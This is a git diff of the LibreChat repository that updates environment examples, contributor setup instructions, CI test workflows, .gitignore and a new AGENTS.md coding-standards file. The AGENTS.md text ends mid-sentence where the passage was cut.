diff --git a/.env.example b/.env.example index 9864a41482..e746737ea4 100644 --- a/.env.example +++ b/.env.example @@ -47,6 +47,10 @@ TRUST_PROXY=1 # password policies. # MIN_PASSWORD_LENGTH=8 +# When enabled, the app will continue running after encountering uncaught exceptions +# instead of exiting the process. Not recommended for production unless necessary. +# CONTINUE_ON_UNCAUGHT_EXCEPTION=false + #===============# # JSON Logging # #===============# @@ -61,6 +65,9 @@ CONSOLE_JSON=false DEBUG_LOGGING=true DEBUG_CONSOLE=false +# Enable memory diagnostics (logs heap/RSS snapshots every 60s, auto-enabled with --inspect) +# MEM_DIAG=true + #=============# # Permissions # #=============# @@ -87,6 +94,16 @@ NODE_MAX_OLD_SPACE_SIZE=6144 # CONFIG_PATH="/alternative/path/to/librechat.yaml" +#==================# +# Langfuse Tracing # +#==================# + +# Get Langfuse API keys for your project from the project settings page: https://cloud.langfuse.com + +# LANGFUSE_PUBLIC_KEY= +# LANGFUSE_SECRET_KEY= +# LANGFUSE_BASE_URL= + #===================================================# # Endpoints # #===================================================# @@ -121,7 +138,7 @@ PROXY= #============# ANTHROPIC_API_KEY=user_provided -# ANTHROPIC_MODELS=claude-opus-4-20250514,claude-sonnet-4-20250514,claude-3-7-sonnet-20250219,claude-3-5-sonnet-20241022,claude-3-5-haiku-20241022,claude-3-opus-20240229,claude-3-sonnet-20240229,claude-3-haiku-20240307 +# ANTHROPIC_MODELS=claude-sonnet-4-6,claude-opus-4-6,claude-opus-4-20250514,claude-sonnet-4-20250514,claude-3-7-sonnet-20250219,claude-3-5-sonnet-20241022,claude-3-5-haiku-20241022,claude-3-opus-20240229,claude-3-sonnet-20240229,claude-3-haiku-20240307 # ANTHROPIC_REVERSE_PROXY= # Set to true to use Anthropic models through Google Vertex AI instead of direct API @@ -156,7 +173,8 @@ ANTHROPIC_API_KEY=user_provided # BEDROCK_AWS_SESSION_TOKEN=someSessionToken # Note: This example list is not meant to be exhaustive. If omitted, all known, supported model IDs will be included for you. -# BEDROCK_AWS_MODELS=anthropic.claude-3-5-sonnet-20240620-v1:0,meta.llama3-1-8b-instruct-v1:0 +# BEDROCK_AWS_MODELS=anthropic.claude-sonnet-4-6,anthropic.claude-opus-4-6-v1,anthropic.claude-3-5-sonnet-20240620-v1:0,meta.llama3-1-8b-instruct-v1:0 +# Cross-region inference model IDs: us.anthropic.claude-sonnet-4-6,us.anthropic.claude-opus-4-6-v1,global.anthropic.claude-opus-4-6-v1 # See all Bedrock model IDs here: https://docs.aws.amazon.com/bedrock/latest/userguide/model-ids.html#model-ids-arns @@ -178,10 +196,10 @@ GOOGLE_KEY=user_provided # GOOGLE_AUTH_HEADER=true # Gemini API (AI Studio) -# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite +# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite # Vertex AI -# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001 +# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001 # GOOGLE_TITLE_MODEL=gemini-2.0-flash-lite-001 @@ -228,10 +246,6 @@ GOOGLE_KEY=user_provided # Option A: Use dedicated Gemini API key for image generation # GEMINI_API_KEY=your-gemini-api-key -# Option B: Use Vertex AI (no API key needed, uses service account) -# Set this to enable Vertex AI and allow tool without requiring API keys -# GEMINI_VERTEX_ENABLED=true - # Vertex AI model for image generation (defaults to gemini-2.5-flash-image) # GEMINI_IMAGE_MODEL=gemini-2.5-flash-image @@ -499,6 +513,9 @@ OPENID_ADMIN_ROLE_TOKEN_KIND= OPENID_USERNAME_CLAIM= # Set to determine which user info property returned from OpenID Provider to store as the User's name OPENID_NAME_CLAIM= +# Set to determine which user info claim to use as the email/identifier for user matching (e.g., "upn" for Entra ID) +# When not set, defaults to: email -> preferred_username -> upn +OPENID_EMAIL_CLAIM= # Optional audience parameter for OpenID authorization requests OPENID_AUDIENCE= @@ -643,6 +660,9 @@ AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_REGION= AWS_BUCKET_NAME= +# Required for path-style S3-compatible providers (MinIO, Hetzner, Backblaze B2, etc.) +# that don't support virtual-hosted-style URLs (bucket.endpoint). Not needed for AWS S3. +# AWS_FORCE_PATH_STYLE=false #========================# # Azure Blob Storage # @@ -657,7 +677,8 @@ AZURE_CONTAINER_NAME=files #========================# ALLOW_SHARED_LINKS=true -ALLOW_SHARED_LINKS_PUBLIC=true +# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set. +ALLOW_SHARED_LINKS_PUBLIC=false #==============================# # Static File Cache Control # @@ -737,8 +758,10 @@ HELP_AND_FAQ_URL=https://librechat.ai # REDIS_PING_INTERVAL=300 # Force specific cache namespaces to use in-memory storage even when Redis is enabled -# Comma-separated list of CacheKeys (e.g., ROLES,MESSAGES) -# FORCED_IN_MEMORY_CACHE_NAMESPACES=ROLES,MESSAGES +# Comma-separated list of CacheKeys +# Defaults to CONFIG_STORE,APP_CONFIG so YAML-derived config stays per-container (safe for blue/green deployments) +# Set to empty string to force all namespaces through Redis: FORCED_IN_MEMORY_CACHE_NAMESPACES= +# FORCED_IN_MEMORY_CACHE_NAMESPACES=CONFIG_STORE,APP_CONFIG # Leader Election Configuration (for multi-instance deployments with Redis) # Duration in seconds that the leader lease is valid before it expires (default: 25) @@ -827,3 +850,24 @@ OPENWEATHER_API_KEY= # Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it) # When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration # MCP_SKIP_CODE_CHALLENGE_CHECK=false + +# Circuit breaker: max connect/disconnect cycles before tripping (per server) +# MCP_CB_MAX_CYCLES=7 + +# Circuit breaker: sliding window (ms) for counting cycles +# MCP_CB_CYCLE_WINDOW_MS=45000 + +# Circuit breaker: cooldown (ms) after the cycle breaker trips +# MCP_CB_CYCLE_COOLDOWN_MS=15000 + +# Circuit breaker: max consecutive failed connection rounds before backoff +# MCP_CB_MAX_FAILED_ROUNDS=3 + +# Circuit breaker: sliding window (ms) for counting failed rounds +# MCP_CB_FAILED_WINDOW_MS=120000 + +# Circuit breaker: base backoff (ms) after failed round threshold is reached +# MCP_CB_BASE_BACKOFF_MS=30000 + +# Circuit breaker: max backoff cap (ms) for exponential backoff +# MCP_CB_MAX_BACKOFF_MS=300000 diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index ad0a75ab9b..ae9e6d8e4b 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -26,18 +26,14 @@ Project maintainers have the right and responsibility to remove, edit, or reject ## 1. Development Setup -1. Use Node.JS 20.x. -2. Install typescript globally: `npm i -g typescript`. -3. Run `npm ci` to install dependencies. -4. Build the data provider: `npm run build:data-provider`. -5. Build data schemas: `npm run build:data-schemas`. -6. Build API methods: `npm run build:api`. -7. Setup and run unit tests: +1. Use Node.js v20.19.0+ or ^22.12.0 or >= 23.0.0. +2. Run `npm run smart-reinstall` to install dependencies (uses Turborepo). Use `npm run reinstall` for a clean install, or `npm ci` for a fresh lockfile-based install. +3. Build all compiled code: `npm run build`. +4. Setup and run unit tests: - Copy `.env.test`: `cp api/test/.env.test.example api/test/.env.test`. - Run backend unit tests: `npm run test:api`. - Run frontend unit tests: `npm run test:client`. -8. Setup and run integration tests: - - Build client: `cd client && npm run build`. +5. Setup and run integration tests: - Create `.env`: `cp .env.example .env`. - Install [MongoDB Community Edition](https://www.mongodb.com/docs/manual/administration/install-community/), ensure that `mongosh` connects to your local instance. - Run: `npx install playwright`, then `npx playwright install`. @@ -48,11 +44,11 @@ Project maintainers have the right and responsibility to remove, edit, or reject ## 2. Development Notes 1. Before starting work, make sure your main branch has the latest commits with `npm run update`. -3. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning. +2. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning. 3. After your changes, reinstall packages in your current branch using `npm run reinstall` and ensure everything still works. - Restart the ESLint server ("ESLint: Restart ESLint Server" in VS Code command bar) and your IDE after reinstalling or updating. 4. Clear web app localStorage and cookies before and after changes. -5. For frontend changes, compile typescript before and after changes to check for introduced errors: `cd client && npm run build`. +5. To check for introduced errors, build all compiled code: `npm run build`. 6. Run backend unit tests: `npm run test:api`. 7. Run frontend unit tests: `npm run test:client`. 8. Run integration tests: `npm run e2e`. @@ -118,50 +114,45 @@ Apply the following naming conventions to branches, labels, and other Git-relate - **JS/TS:** Directories and file names: Descriptive and camelCase. First letter uppercased for React files (e.g., `helperFunction.ts, ReactComponent.tsx`). - **Docs:** Directories and file names: Descriptive and snake_case (e.g., `config_files.md`). -## 7. TypeScript Conversion +## 7. Coding Standards + +For detailed coding conventions, workspace boundaries, and architecture guidance, refer to the [`AGENTS.md`](../AGENTS.md) file at the project root. It covers code style, type safety, import ordering, iteration/performance expectations, frontend rules, testing, and development commands. + +## 8. TypeScript Conversion 1. **Original State**: The project was initially developed entirely in JavaScript (JS). -2. **Frontend Transition**: - - We are in the process of transitioning the frontend from JS to TypeScript (TS). - - The transition is nearing completion. - - This conversion is feasible due to React's capability to intermix JS and TS prior to code compilation. It's standard practice to compile/bundle the code in such scenarios. +2. **Frontend**: Fully transitioned to TypeScript. -3. **Backend Considerations**: - - Transitioning the backend to TypeScript would be a more intricate process, especially for an established Express.js server. - - - **Options for Transition**: - - **Single Phase Overhaul**: This involves converting the entire backend to TypeScript in one go. It's the most straightforward approach but can be disruptive, especially for larger codebases. - - - **Incremental Transition**: Convert parts of the backend progressively. This can be done by: - - Maintaining a separate directory for TypeScript files. - - Gradually migrating and testing individual modules or routes. - - Using a build tool like `tsc` to compile TypeScript files independently until the entire transition is complete. - - - **Compilation Considerations**: - - Introducing a compilation step for the server is an option. This would involve using tools like `ts-node` for development and `tsc` for production builds. - - However, this is not a conventional approach for Express.js servers and could introduce added complexity, especially in terms of build and deployment processes. - - - **Current Stance**: At present, this backend transition is of lower priority and might not be pursued. +3. **Backend**: + - The legacy Express.js server remains in `/api` as JavaScript. + - All new backend code is written in TypeScript under `/packages/api`, which is compiled and consumed by `/api`. + - Shared database logic lives in `/packages/data-schemas` (TypeScript). + - Shared frontend/backend API types and services live in `/packages/data-provider` (TypeScript). + - Minimize direct changes to `/api`; prefer adding TypeScript code to `/packages/api` and importing it. -## 8. Module Import Conventions +## 9. Module Import Conventions -- `npm` packages first, - - from longest line (top) to shortest (bottom) +Imports are organized into three sections (in order): -- Followed by typescript types (pertains to data-provider and client workspaces) - - longest line (top) to shortest (bottom) - - types from package come first +1. **Package imports** — sorted from shortest to longest line length. + - `react` is always the first import. + - Multi-line (stacked) imports count their total character length across all lines for sorting. -- Lastly, local imports - - longest line (top) to shortest (bottom) - - imports with alias `~` treated the same as relative import with respect to line length +2. **`import type` imports** — sorted from longest to shortest line length. + - Package type imports come first, then local type imports. + - Line length sorting resets between the package and local sub-groups. + +3. **Local/project imports** — sorted from longest to shortest line length. + - Multi-line (stacked) imports count their total character length across all lines for sorting. + - Imports with alias `~` are treated the same as relative imports with respect to line length. + +- Consolidate value imports from the same module as much as possible. +- Always use standalone `import type { ... }` for type imports; never use inline `type` keyword inside value imports (e.g., `import { Foo, type Bar }` is wrong). **Note:** ESLint will automatically enforce these import conventions when you run `npm run lint --fix` or through pre-commit hooks. ---- - -Please ensure that you adapt this summary to fit the specific context and nuances of your project. +For the full set of coding standards, see [`AGENTS.md`](../AGENTS.md). --- diff --git a/.github/workflows/backend-review.yml b/.github/workflows/backend-review.yml index 2379b8fee7..038c90627e 100644 --- a/.github/workflows/backend-review.yml +++ b/.github/workflows/backend-review.yml @@ -9,48 +9,145 @@ on: paths: - 'api/**' - 'packages/**' + +env: + NODE_ENV: CI + NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}' + jobs: - tests_Backend: - name: Run Backend unit tests - timeout-minutes: 60 + build: + name: Build packages runs-on: ubuntu-latest - env: - MONGO_URI: ${{ secrets.MONGO_URI }} - OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} - JWT_SECRET: ${{ secrets.JWT_SECRET }} - CREDS_KEY: ${{ secrets.CREDS_KEY }} - CREDS_IV: ${{ secrets.CREDS_IV }} - BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }} - BAN_DURATION: ${{ secrets.BAN_DURATION }} - BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }} - NODE_ENV: CI - NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}' + timeout-minutes: 15 steps: - uses: actions/checkout@v4 - - name: Use Node.js 20.x + + - name: Use Node.js 20.19 uses: actions/setup-node@v4 with: - node-version: 20 - cache: 'npm' + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' run: npm ci - - name: Install Data Provider Package + - name: Restore data-provider build cache + id: cache-data-provider + uses: actions/cache@v4 + with: + path: packages/data-provider/dist + key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }} + + - name: Build data-provider + if: steps.cache-data-provider.outputs.cache-hit != 'true' run: npm run build:data-provider - - name: Install Data Schemas Package + - name: Restore data-schemas build cache + id: cache-data-schemas + uses: actions/cache@v4 + with: + path: packages/data-schemas/dist + key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }} + + - name: Build data-schemas + if: steps.cache-data-schemas.outputs.cache-hit != 'true' run: npm run build:data-schemas - - name: Install API Package + - name: Restore api build cache + id: cache-api + uses: actions/cache@v4 + with: + path: packages/api/dist + key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }} + + - name: Build api + if: steps.cache-api.outputs.cache-hit != 'true' run: npm run build:api - - name: Create empty auth.json file - run: | - mkdir -p api/data - echo '{}' > api/data/auth.json + - name: Upload data-provider build + uses: actions/upload-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + retention-days: 2 - - name: Check for Circular dependency in rollup + - name: Upload data-schemas build + uses: actions/upload-artifact@v4 + with: + name: build-data-schemas + path: packages/data-schemas/dist + retention-days: 2 + + - name: Upload api build + uses: actions/upload-artifact@v4 + with: + name: build-api + path: packages/api/dist + retention-days: 2 + + circular-deps: + name: Circular dependency checks + needs: build + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download data-schemas build + uses: actions/download-artifact@v4 + with: + name: build-data-schemas + path: packages/data-schemas/dist + + - name: Rebuild @librechat/api and check for circular dependencies + run: | + output=$(npm run build:api 2>&1) + echo "$output" + if echo "$output" | grep -q "Circular depend"; then + echo "Error: Circular dependency detected in @librechat/api!" + exit 1 + fi + + - name: Detect circular dependencies in rollup working-directory: ./packages/data-provider run: | output=$(npm run rollup:api) @@ -60,17 +157,201 @@ jobs: exit 1 fi + test-api: + name: 'Tests: api' + needs: build + runs-on: ubuntu-latest + timeout-minutes: 15 + env: + MONGO_URI: ${{ secrets.MONGO_URI }} + OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} + JWT_SECRET: ${{ secrets.JWT_SECRET }} + CREDS_KEY: ${{ secrets.CREDS_KEY }} + CREDS_IV: ${{ secrets.CREDS_IV }} + BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }} + BAN_DURATION: ${{ secrets.BAN_DURATION }} + BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }} + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download data-schemas build + uses: actions/download-artifact@v4 + with: + name: build-data-schemas + path: packages/data-schemas/dist + + - name: Download api build + uses: actions/download-artifact@v4 + with: + name: build-api + path: packages/api/dist + + - name: Create empty auth.json file + run: | + mkdir -p api/data + echo '{}' > api/data/auth.json + - name: Prepare .env.test file run: cp api/test/.env.test.example api/test/.env.test - name: Run unit tests run: cd api && npm run test:ci - - name: Run librechat-data-provider unit tests + test-data-provider: + name: 'Tests: data-provider' + needs: build + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Run unit tests run: cd packages/data-provider && npm run test:ci - - name: Run @librechat/data-schemas unit tests + test-data-schemas: + name: 'Tests: data-schemas' + needs: build + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download data-schemas build + uses: actions/download-artifact@v4 + with: + name: build-data-schemas + path: packages/data-schemas/dist + + - name: Run unit tests run: cd packages/data-schemas && npm run test:ci - - name: Run @librechat/api unit tests + test-packages-api: + name: 'Tests: @librechat/api' + needs: build + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + api/node_modules + packages/api/node_modules + packages/data-provider/node_modules + packages/data-schemas/node_modules + key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download data-schemas build + uses: actions/download-artifact@v4 + with: + name: build-data-schemas + path: packages/data-schemas/dist + + - name: Download api build + uses: actions/download-artifact@v4 + with: + name: build-api + path: packages/api/dist + + - name: Run unit tests run: cd packages/api && npm run test:ci diff --git a/.github/workflows/frontend-review.yml b/.github/workflows/frontend-review.yml index 989e2e4abe..9c2d4a37b1 100644 --- a/.github/workflows/frontend-review.yml +++ b/.github/workflows/frontend-review.yml @@ -2,7 +2,7 @@ name: Frontend Unit Tests on: pull_request: - branches: + branches: - main - dev - dev-staging @@ -11,51 +11,200 @@ on: - 'client/**' - 'packages/data-provider/**' +env: + NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}' + jobs: - tests_frontend_ubuntu: - name: Run frontend unit tests on Ubuntu - timeout-minutes: 60 + build: + name: Build packages runs-on: ubuntu-latest - env: - NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}' + timeout-minutes: 15 steps: - uses: actions/checkout@v4 - - name: Use Node.js 20.x + + - name: Use Node.js 20.19 uses: actions/setup-node@v4 with: - node-version: 20 - cache: 'npm' + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + client/node_modules + packages/client/node_modules + packages/data-provider/node_modules + key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' run: npm ci - - name: Build Client - run: npm run frontend:ci + - name: Restore data-provider build cache + id: cache-data-provider + uses: actions/cache@v4 + with: + path: packages/data-provider/dist + key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }} + + - name: Build data-provider + if: steps.cache-data-provider.outputs.cache-hit != 'true' + run: npm run build:data-provider + + - name: Restore client-package build cache + id: cache-client-package + uses: actions/cache@v4 + with: + path: packages/client/dist + key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }} + + - name: Build client-package + if: steps.cache-client-package.outputs.cache-hit != 'true' + run: npm run build:client-package + + - name: Upload data-provider build + uses: actions/upload-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + retention-days: 2 + + - name: Upload client-package build + uses: actions/upload-artifact@v4 + with: + name: build-client-package + path: packages/client/dist + retention-days: 2 + + test-ubuntu: + name: 'Tests: Ubuntu' + needs: build + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + client/node_modules + packages/client/node_modules + packages/data-provider/node_modules + key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download client-package build + uses: actions/download-artifact@v4 + with: + name: build-client-package + path: packages/client/dist - name: Run unit tests run: npm run test:ci --verbose working-directory: client - tests_frontend_windows: - name: Run frontend unit tests on Windows - timeout-minutes: 60 + test-windows: + name: 'Tests: Windows' + needs: build runs-on: windows-latest - env: - NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}' + timeout-minutes: 20 steps: - uses: actions/checkout@v4 - - name: Use Node.js 20.x + + - name: Use Node.js 20.19 uses: actions/setup-node@v4 with: - node-version: 20 - cache: 'npm' + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + client/node_modules + packages/client/node_modules + packages/data-provider/node_modules + key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' run: npm ci - - name: Build Client - run: npm run frontend:ci + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download client-package build + uses: actions/download-artifact@v4 + with: + name: build-client-package + path: packages/client/dist - name: Run unit tests run: npm run test:ci --verbose - working-directory: client \ No newline at end of file + working-directory: client + + build-verify: + name: Vite build verification + needs: build + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@v4 + + - name: Use Node.js 20.19 + uses: actions/setup-node@v4 + with: + node-version: '20.19' + + - name: Restore node_modules cache + id: cache-node-modules + uses: actions/cache@v4 + with: + path: | + node_modules + client/node_modules + packages/client/node_modules + packages/data-provider/node_modules + key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }} + + - name: Install dependencies + if: steps.cache-node-modules.outputs.cache-hit != 'true' + run: npm ci + + - name: Download data-provider build + uses: actions/download-artifact@v4 + with: + name: build-data-provider + path: packages/data-provider/dist + + - name: Download client-package build + uses: actions/download-artifact@v4 + with: + name: build-client-package + path: packages/client/dist + + - name: Build client + run: cd client && npm run build:ci diff --git a/.gitignore b/.gitignore index d173d26b60..86d4a3ddae 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,7 @@ pids # CI/CD data test-image* +dump.rdb # Directory for instrumented libs generated by jscoverage/JSCover lib-cov @@ -29,6 +30,9 @@ coverage config/translations/stores/* client/src/localization/languages/*_missing_keys.json +# Turborepo +.turbo + # Compiled Dirs (http://nodejs.org/api/addons.html) build/ dist/ diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000000..ec44607aa7 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,166 @@ +# LibreChat + +## Project Overview + +LibreChat is a monorepo with the following key workspaces: + +| Workspace | Language | Side | Dependency | Purpose | +|---|---|---|---|---| +| `/api` | JS (legacy) | Backend | `packages/api`, `packages/data-schemas`, `packages/data-provider`, `@librechat/agents` | Express server — minimize changes here | +| `/packages/api` | **TypeScript** | Backend | `packages/data-schemas`, `packages/data-provider` | New backend code lives here (TS only, consumed by `/api`) | +| `/packages/data-schemas` | TypeScript | Backend | `packages/data-provider` | Database models/schemas, shareable across backend projects | +| `/packages/data-provider` | TypeScript | Shared | — | Shared API types, endpoints, data-service — used by both frontend and backend | +| `/client` | TypeScript/React | Frontend | `packages/data-provider`, `packages/client` | Frontend SPA | +| `/packages/client` | TypeScript | Frontend | `packages/data-provider` | Shared frontend utilities | + +The source code for `@librechat/agents` (major backend dependency, same team) is at `/home/danny/agentus`. + +--- + +## Workspace Boundaries + +- **All new backend code must be TypeScript** in `/packages/api`. +- Keep `/api` changes to the absolute minimum (thin JS wrappers calling into `/packages/api`). +- Database-specific shared logic goes in `/packages/data-schemas`. +- Frontend/backend shared API logic (endpoints, types, data-service) goes in `/packages/data-provider`. +- Build data-provider from project root: `npm run build:data-provider`. + +--- + +## Code Style + +### Structure and Clarity + +- **Never-nesting**: early returns, flat code, minimal indentation. Break complex operations into well-named helpers. +- **Functional first**: pure functions, immutable data, `map`/`filter`/`reduce` over imperative loops. Only reach for OOP when it clearly improves domain modeling or state encapsulation. +- **No dynamic imports** unless absolutely necessary. + +### DRY + +- Extract repeated logic into utility functions. +- Reusable hooks / higher-order components for UI patterns. +- Parameterized helpers instead of near-duplicate functions. +- Constants for repeated values; configuration objects over duplicated init code. +- Shared validators, centralized error handling, single source of truth for business rules. +- Shared typing system with interfaces/types extending common base definitions. +- Abstraction layers for external API interactions. + +### Iteration and Performance + +- **Minimize looping** — especially over shared data structures like message arrays, which are iterated frequently throughout the codebase. Every additional pass adds up at scale. +- Consolidate sequential O(n) operations into a single pass whenever possible; never loop over the same collection twice if the work can be combined. +- Choose data structures that reduce the need to iterate (e.g., `Map`/`Set` for lookups instead of `Array.find`/`Array.includes`). +- Avoid unnecessary object creation; consider space-time tradeoffs. +- Prevent memory leaks: careful with closures, dispose resources/event listeners, no circular references. + +### Type Safety + +- **Never use `any`**. Explicit types for all parameters, return values, and variables. +- **Limit `unknown`** — avoid `unknown`, `Record`, and `as unknown as T` assertions. A `Record` almost always signals a missing explicit type definition. +- **Don't duplicate types** — before defining a new type, check whether it already exists in the project (especially `packages/data-provider`). Reuse and extend existing types rather than creating redundant definitions. +- Use union types, generics, and interfaces appropriately. +- All TypeScript and ESLint warnings/errors must be addressed — do not leave unresolved diagnostics. + +### Comments and Documentation + +- Write self-documenting code; no inline comments narrating what code does. +- JSDoc only for complex/non-obvious logic or 